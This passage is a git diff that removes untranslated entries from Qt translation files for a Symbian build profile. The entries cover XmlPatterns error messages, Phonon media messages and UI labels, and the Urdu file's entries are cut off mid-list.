- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qarithmeticexpression.cpp" line="+207"/>
- <source>Operator %1 cannot be used on type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Operator %1 cannot be used on atomic values of type %2 and %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qattributenamevalidator.cpp" line="+66"/>
- <source>The namespace URI in the name for a computed attribute cannot be %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>The name for a computed attribute cannot have the namespace URI %1 with the local name %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcastas.cpp" line="+88"/>
- <source>Type error in cast, expected %1, received %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+29"/>
- <source>When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcastingplatform.cpp" line="+134"/>
- <source>No casting is possible with %1 as the target type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>It is not possible to cast from %1 to %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+27"/>
- <source>Casting to %1 is not possible because it is an abstract type, and can therefore never be instantiated.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>It&apos;s not possible to cast the value %1 of type %2 to %3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Failure when casting from %1 to %2: %3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcommentconstructor.cpp" line="+67"/>
- <source>A comment cannot contain %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>A comment cannot end with a %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcomparisonplatform.cpp" line="+167"/>
- <source>No comparisons can be done involving the type %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Operator %1 is not available between atomic values of type %2 and %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qdocumentcontentvalidator.cpp" line="+86"/>
- <source>An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qexpressionfactory.cpp" line="+169"/>
- <source>A library module cannot be evaluated directly. It must be imported from a main module.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+40"/>
- <source>No template by name %1 exists.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qgenericpredicate.cpp" line="+106"/>
- <source>A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+32"/>
- <source>A positional predicate must evaluate to a single numeric value.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qncnameconstructor_p.h" line="+113"/>
- <source>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, is %2 invalid.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+24"/>
- <source>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qpath.cpp" line="+109"/>
- <source>The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qprocessinginstructionconstructor.cpp" line="+84"/>
- <source>The data of a processing instruction cannot contain the string %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qqnameconstructor.cpp" line="+82"/>
- <source>No namespace binding exists for the prefix %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qqnameconstructor_p.h" line="+156"/>
- <source>No namespace binding exists for the prefix %1 in %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <location filename="../src/xmlpatterns/functions/qqnamefns.cpp" line="+69"/>
- <source>%1 is an invalid %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message numerus="yes">
- <location filename="../src/xmlpatterns/functions/qabstractfunctionfactory.cpp" line="+77"/>
- <source>%1 takes at most %n argument(s). %2 is therefore invalid.</source>
- <translation type="unfinished">
- <numerusform></numerusform>
- </translation>
- </message>
- <message numerus="yes">
- <location line="+11"/>
- <source>%1 requires at least %n argument(s). %2 is therefore invalid.</source>
- <translation type="unfinished">
- <numerusform></numerusform>
- </translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qaggregatefns.cpp" line="+120"/>
- <source>The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+74"/>
- <source>The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+91"/>
- <source>The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qassemblestringfns.cpp" line="+88"/>
- <source>%1 is not a valid XML 1.0 character.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qcomparingaggregator.cpp" line="+197"/>
- <source>The first argument to %1 cannot be of type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qdatetimefn.cpp" line="+86"/>
- <source>If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qerrorfn.cpp" line="+61"/>
- <source>%1 was called.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qpatternmatchingfns.cpp" line="+94"/>
- <source>%1 must be followed by %2 or %3, not at the end of the replacement string.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+39"/>
- <source>In the replacement string, %1 must be followed by at least one digit when not escaped.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+26"/>
- <source>In the replacement string, %1 can only be used to escape itself or %2, not %3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qpatternplatform.cpp" line="+92"/>
- <source>%1 matches newline characters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1 and %2 match the start and end of a line.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Matches are case insensitive</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Whitespace characters are removed, except when they appear in character classes</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+99"/>
- <source>%1 is an invalid regular expression pattern: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+30"/>
- <source>%1 is an invalid flag for regular expressions. Valid flags are:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qqnamefns.cpp" line="+17"/>
- <source>If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qsequencefns.cpp" line="+347"/>
- <source>It will not be possible to retrieve %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qcontextnodechecker.cpp" line="+54"/>
- <source>The root node of the second argument to function %1 must be a document node. %2 is not a document node.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qsequencegeneratingfns.cpp" line="+279"/>
- <source>The default collection is undefined</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>%1 cannot be retrieved</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qstringvaluefns.cpp" line="+252"/>
- <source>The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qtimezonefns.cpp" line="+87"/>
- <source>A zone offset must be in the range %1..%2 inclusive. %3 is out of range.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>%1 is not a whole number of minutes.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/janitors/qcardinalityverifier.cpp" line="+58"/>
- <source>Required cardinality is %1; got cardinality %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/janitors/qitemverifier.cpp" line="+67"/>
- <source>The item %1 did not match the required type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+379"/>
- <location line="+7253"/>
- <source>%1 is an unknown schema type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-6971"/>
- <source>Only one %1 declaration can occur in the query prolog.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+188"/>
- <source>The initialization of variable %1 depends on itself</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>No variable by name %1 exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qparsercontext.cpp" line="+93"/>
- <source>The variable %1 is unused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+2841"/>
- <source>Version %1 is not supported. The supported XQuery version is 1.0.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+55"/>
- <source>No function with signature %1 is available</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+72"/>
- <location line="+10"/>
- <source>A default namespace declaration must occur before function, variable, and option declarations.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Namespace declarations must occur before function, variable, and option declarations.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Module imports must occur before function, variable, and option declarations.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+200"/>
- <source>It is not possible to redeclare prefix %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+18"/>
- <source>Prefix %1 is already declared in the prolog.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+95"/>
- <source>The name of an option must have a prefix. There is no default namespace for options.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+171"/>
- <source>The Schema Import feature is not supported, and therefore %1 declarations cannot occur.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>The target namespace of a %1 cannot be empty.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>The module import feature is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+52"/>
- <source>No value is available for the external variable by name %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-4154"/>
- <source>A construct was encountered which only is allowed in XQuery.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+118"/>
- <source>A template by name %1 has already been declared.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3581"/>
- <source>The keyword %1 cannot occur with any other mode name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+29"/>
- <source>The value of attribute %1 must of type %2, which %3 isn&apos;t.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+75"/>
- <source>The prefix %1 can not be bound. By default, it is already bound to the namespace %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+312"/>
- <source>A variable by name %1 has already been declared.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+135"/>
- <source>A stylesheet function must have a prefixed name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+34"/>
- <source>A function already exists with the signature %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>No external functions are supported. All supported functions can be used directly, without first declaring them as external</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+37"/>
- <source>An argument by name %1 has already been declared. Every argument name must be unique.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+179"/>
- <source>When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>In an XSL-T pattern, function %1 cannot have a third argument.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+126"/>
- <source>%1 is an invalid template mode name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+44"/>
- <source>The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+758"/>
- <source>The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+39"/>
- <source>None of the pragma expressions are supported. Therefore, a fallback expression must be present</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+267"/>
- <source>Each name of a template parameter must be unique; %1 is duplicated.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+129"/>
- <source>The %1-axis is unsupported in XQuery</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1150"/>
- <source>%1 is not a valid name for a processing-instruction.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-7029"/>
- <source>%1 is not a valid numeric literal.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6165"/>
- <source>No function by name %1 is available.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+102"/>
- <source>The namespace URI cannot be the empty string when binding to a prefix, %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>%1 is an invalid namespace URI.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>It is not possible to bind to the prefix %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Two namespace declaration attributes have the same name: %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+89"/>
- <source>The namespace URI must be a constant and cannot use enclosed expressions.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>An attribute by name %1 has already appeared on this element.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+61"/>
- <source>A direct element constructor is not well-formed. %1 is ended with %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+458"/>
- <source>The name %1 does not refer to any schema type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>%1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>%1 is not an atomic type. Casting is only possible to atomic types.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+145"/>
- <location line="+71"/>
- <source>%1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+48"/>
- <source>The name of an extension expression must be in a namespace.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/type/qcardinality.cpp" line="+55"/>
- <source>empty</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>zero or one</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>exactly one</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>one or more</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>zero or more</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/type/qtypechecker.cpp" line="+63"/>
- <source>Required type is %1, but %2 was found.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+44"/>
- <source>Promoting %1 to %2 may cause loss of precision.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+49"/>
- <source>The focus is undefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/utils/qoutputvalidator.cpp" line="+86"/>
- <source>It&apos;s not possible to add attributes after any other kind of node.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>An attribute by name %1 has already been created.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/utils/qxpathhelper_p.h" line="+120"/>
- <source>Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/acceltree/qacceltreeresourceloader.cpp" line="+314"/>
- <source>%1 is an unsupported encoding.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>%1 contains octets which are disallowed in the requested encoding %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+18"/>
- <source>The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qapplytemplate.cpp" line="+119"/>
- <source>Ambiguous rule match.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcomputednamespaceconstructor.cpp" line="+69"/>
- <source>In a namespace constructor, the value for a namespace cannot be an empty string.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>The prefix must be a valid %1, which %2 is not.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>The prefix %1 cannot be bound.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Only the prefix %1 can be bound to %2 and vice versa.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qevaluationcache.cpp" line="+117"/>
- <source>Circularity detected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qtemplate.cpp" line="+145"/>
- <source>The parameter %1 is required, but no corresponding %2 is supplied.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-71"/>
- <source>The parameter %1 is passed, but no corresponding %2 exists.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qunparsedtextfn.cpp" line="+65"/>
- <source>The URI cannot have a fragment</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+519"/>
- <source>Element %1 is not allowed at this location.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Text nodes are not allowed at this location.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Parse error: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+62"/>
- <source>The value of the XSL-T version attribute must be a value of type %1, which %2 isn&apos;t.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Running an XSL-T 1.0 stylesheet with a 2.0 processor.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+108"/>
- <source>Unknown XSL-T attribute %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>Attribute %1 and %2 are mutually exclusive.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+166"/>
- <source>In a simplified stylesheet module, attribute %1 must be present.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+72"/>
- <source>If element %1 has no attribute %2, it cannot have attribute %3 or %4.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Element %1 must have at least one of the attributes %2 or %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+28"/>
- <source>At least one mode must be specified in the %1-attribute on element %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qmaintainingreader.cpp" line="+183"/>
- <source>Attribute %1 cannot appear on the element %2. Only the standard attributes can appear.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Attribute %1 cannot appear on the element %2. Only %3 is allowed, and the standard attributes.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Attribute %1 cannot appear on the element %2. Allowed is %3, %4, and the standard attributes.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Attribute %1 cannot appear on the element %2. Allowed is %3, and the standard attributes.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>XSL-T attributes on XSL-T elements must be in the null namespace, not in the XSL-T namespace which %1 is.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>The attribute %1 must appear on element %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>The element with local name %1 does not exist in XSL-T.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+123"/>
- <source>Element %1 must come last.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+24"/>
- <source>At least one %1-element must occur before %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Only one %1-element can appear.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+31"/>
- <source>At least one %1-element must occur inside %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+58"/>
- <source>When attribute %1 is present on %2, a sequence constructor cannot be used.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Element %1 must have either a %2-attribute or a sequence constructor.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+125"/>
- <source>When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+270"/>
- <source>Element %1 cannot have children.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+434"/>
- <source>Element %1 cannot have a sequence constructor.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+86"/>
- <location line="+9"/>
- <source>The attribute %1 cannot appear on %2, when it is a child of %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>A parameter in a function cannot be declared to be a tunnel.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+149"/>
- <source>This processor is not Schema-aware and therefore %1 cannot be used.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+57"/>
- <source>Top level stylesheet elements must be in a non-null namespace, which %1 isn&apos;t.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+48"/>
- <source>The value for attribute %1 on element %2 must either be %3 or %4, not %5.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Attribute %1 cannot have the value %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+58"/>
- <source>The attribute %1 can only appear on the first %2 element.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+99"/>
- <source>At least one %1 element must appear as child of %2.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>VolumeSlider</name>
- <message>
- <location filename="../src/3rdparty/phonon/phonon/volumeslider.cpp" line="+67"/>
- <source>Muted</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <location line="+15"/>
- <source>Volume: %1%</source>
- <translation type="unfinished"></translation>
- </message>
</context>
</TS>
diff --git a/config.profiles/symbian/translations/qt_ur.ts b/config.profiles/symbian/translations/qt_ur.ts
index 13797d5..4b26d3a 100644
--- a/config.profiles/symbian/translations/qt_ur.ts
+++ b/config.profiles/symbian/translations/qt_ur.ts
@@ -2,8506 +2,12 @@
<!DOCTYPE TS>
<TS version="2.0" language="ur">
- <context>
- <name>CloseButton</name>
- <message>
- <source>Close Tab</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>FakeReply</name>
- <message>
- <source>Fake error !</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Invalid URL</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::</name>
- <message>
- <source>Notifications</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Music</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Video</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Communication</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Games</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Accessibility</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::AudioOutput</name>
- <message>
- <source>&lt;html&gt;The audio playback device &lt;b&gt;%1&lt;/b&gt; does not work.&lt;br/&gt;Falling back to &lt;b&gt;%2&lt;/b&gt;.&lt;/html&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&lt;html&gt;Switching to the audio playback device &lt;b&gt;%1&lt;/b&gt;&lt;br/&gt;which just became available and has higher preference.&lt;/html&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Revert back to device &apos;%1&apos;</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::Gstreamer::Backend</name>
- <message>
- <source>Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
- Some video features have been disabled.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Warning: You do not seem to have the base GStreamer plugins installed.
- All audio and video support has been disabled</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::Gstreamer::MediaObject</name>
- <message>
- <source>Cannot start playback.
-
-Check your GStreamer installation and make sure you
-have libgstreamer-plugins-base installed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>A required codec is missing. You need to install the following codec(s) to play this content: %0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not open media source.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Invalid source type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not locate media source.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not open audio device. The device is already in use.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not decode media source.</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF</name>
- <message>
- <source>Audio Output</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The audio output device</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>No error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Out of memory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Overflow</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Underflow</source>
